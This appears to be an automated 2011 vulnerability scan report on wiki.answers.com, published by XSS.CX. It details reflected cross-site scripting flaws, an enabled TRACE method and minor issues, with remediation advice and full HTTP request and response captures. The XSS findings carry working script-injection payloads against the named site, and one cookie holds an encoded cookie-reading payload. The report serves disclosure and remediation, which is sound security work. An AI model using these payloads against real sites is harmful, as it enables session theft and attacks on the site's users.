XSS, DORK, wiki.answers.com, CWE-79, CAPEC-86, Cross Site Scripting

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Tue Mar 29 06:04:21 CDT 2011.


Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. Cross-site scripting (reflected)

1.1. http://wiki.answers.com/favicon.ico [REST URL parameter 1]

1.2. http://wiki.answers.com/resources/tac.html [REST URL parameter 1]

1.3. http://wiki.answers.com/resources/tac.html [REST URL parameter 2]

2. TRACE method is enabled

3. Robots.txt file

4. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://wiki.answers.com/favicon.ico [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wiki.answers.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c163e"><script>alert(1)</script>893bd64ef64 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.icoc163e"><script>alert(1)</script>893bd64ef64?v=81675 HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=31541870.1300982750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-439876738-1300982780391; searchlimit=50; __utmz=268455671.1300982891.1.1.utmcsr=answers.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=268455671.793997801.1300982891.1300982891.1300982891.1; CP=null*; PHPSESSID=esjpggo1vu1i4pjjmqgpv7rtc0; esjpggo1vu1i4pjjmqgpv7rtc0=n%3A0%3A%7B%7D; activeRadio=all; __utma=31541870.55348645.1300982750.1300982750.1301321672.2; __utmc=31541870; __utmb=31541870.1.10.1301321672; WSS_GW=V1z%Xr%XB%eBi; CTG=1301321628

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Mon, 28 Mar 2011 14:15:15 GMT
X-Varnish: 1047942797
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 42405

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://wiki.answers.com/favicon.icoc163e"><script>alert(1)</script>893bd64ef64" />
...[SNIP]...

1.2. http://wiki.answers.com/resources/tac.html [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://wiki.answers.com
Path:   /resources/tac.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34e22"><script>alert(1)</script>9e883ccc918 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /resources34e22"><script>alert(1)</script>9e883ccc918/tac.html?site=ra&query=Anheuser-Busch&tacref=http%3A%2F%2Fwww.answers.com%2F HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/anheuser-busch
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=31541870.1300982750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-439876738-1300982780391; searchlimit=50; PHPSESSID=esjpggo1vu1i4pjjmqgpv7rtc0; esjpggo1vu1i4pjjmqgpv7rtc0=n%3A0%3A%7B%7D; __utmz=268455671.1301321855.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=268455671.793997801.1300982891.1300982891.1301321855.2; __utmc=268455671; __utmb=268455671.1.10.1301321855; CP=null*; statref=http%3A//burp/show/0; staturl=http%3A//wiki.answers.com/favicon.icoc163e%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E893bd64ef64%3Fv%3D81675; statlpans=0; CTG=1301321812; activeTab=ask; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; __utma=31541870.55348645.1300982750.1300982750.1301321672.2; __utmc=31541870; __utmb=31541870.2.10.1301321672; activeRadio=all

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Mon, 28 Mar 2011 14:26:00 GMT
X-Varnish: 1217170355
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 42597

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://wiki.answers.com/resources34e22"><script>alert(1)</script>9e883ccc918/tac.html" />
...[SNIP]...

1.3. http://wiki.answers.com/resources/tac.html [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://wiki.answers.com
Path:   /resources/tac.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a2d7"><script>alert(1)</script>d40de77cdbb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /resources/tac.html7a2d7"><script>alert(1)</script>d40de77cdbb?site=ra&query=Anheuser-Busch&tacref=http%3A%2F%2Fwww.answers.com%2F HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Referer: http://www.answers.com/topic/anheuser-busch
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=31541870.1300982750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-439876738-1300982780391; searchlimit=50; PHPSESSID=esjpggo1vu1i4pjjmqgpv7rtc0; esjpggo1vu1i4pjjmqgpv7rtc0=n%3A0%3A%7B%7D; __utmz=268455671.1301321855.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; __utma=268455671.793997801.1300982891.1300982891.1301321855.2; __utmc=268455671; __utmb=268455671.1.10.1301321855; CP=null*; statref=http%3A//burp/show/0; staturl=http%3A//wiki.answers.com/favicon.icoc163e%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C/script%253E893bd64ef64%3Fv%3D81675; statlpans=0; CTG=1301321812; activeTab=ask; settings=ver||fayt|1|ate|1|tabOrder|default|home|1; settingsS=ver||fayt|1|ate|1|tabOrder|default|home|1; __utma=31541870.55348645.1300982750.1300982750.1301321672.2; __utmc=31541870; __utmb=31541870.2.10.1301321672; activeRadio=all

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-language: en
Content-Type: text/html; charset=utf-8
Date: Mon, 28 Mar 2011 14:26:20 GMT
X-Varnish: 1048032338
Age: 0
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 42598

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com
...[SNIP]...
<link rel="canonical" href="http://wiki.answers.com/resources/tac.html7a2d7"><script>alert(1)</script>d40de77cdbb" />
...[SNIP]...

2. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wiki.answers.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: wiki.answers.com
Cookie: 6edb4191469125d0

Response

HTTP/1.1 200 OK
Date: Mon, 28 Mar 2011 14:13:58 GMT
Server: Apache
Vary: X-Varnish,X-CLIENTIP,Host
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: wiki.answers.com
Cookie: 6edb4191469125d0; __qca=P0-439876738-1300982780391; lc=nt013; CP=null*; PHPSESSID=esjpggo1vu1i4pjjmqgpv7rtc0; esjpggo1vu1i4pjjmqgpv7rtc0=n%3A0%3A%7B%7D; activeRadio=all; WSS_GW=V1z%Xr%XB%eBi; CTG=1301321628; searchlim
...[SNIP]...

3. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://wiki.answers.com
Path:   /favicon.ico

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: wiki.answers.com

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/plain; charset=utf-8
Content-Length: 627
Date: Mon, 28 Mar 2011 14:13:58 GMT
X-Varnish: 1051892041 1040881026
Age: 106652
Via: 1.1 varnish
Connection: close
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0

User-Agent: *
Allow: /
Disallow: /Q/Special:CommunityForum
Disallow: /Q/Special:SupersForum
Disallow: /Q/UserDiscuss:
Disallow: /Q/Special:Logs&target=Deletion_log
Disallow: /Q/Special:Search
Disallow
...[SNIP]...

4. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://wiki.answers.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico?v=81675 HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=31541870.1300982750.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-439876738-1300982780391; searchlimit=50; __utmz=268455671.1300982891.1.1.utmcsr=answers.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utma=268455671.793997801.1300982891.1300982891.1300982891.1; CP=null*; PHPSESSID=esjpggo1vu1i4pjjmqgpv7rtc0; esjpggo1vu1i4pjjmqgpv7rtc0=n%3A0%3A%7B%7D; activeRadio=all; __utma=31541870.55348645.1300982750.1300982750.1301321672.2; __utmc=31541870; __utmb=31541870.1.10.1301321672; WSS_GW=V1z%Xr%XB%eBi; CTG=1301321628

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 24 Feb 2011 06:20:24 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 5430
Date: Mon, 28 Mar 2011 14:13:57 GMT
X-Varnish: 1051891904 1050142529
Age: 21232
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding

...... .... .....&......... .h.......(... ...@..... ..................................m...m.o.m...m...n...o...n...n...n...o...n...n...n...o...o...n...o...o...o...n...o...n...n...n...m...m...m.o.l....
...[SNIP]...

Report generated by XSS.CX at Tue Mar 29 06:04:21 CDT 2011.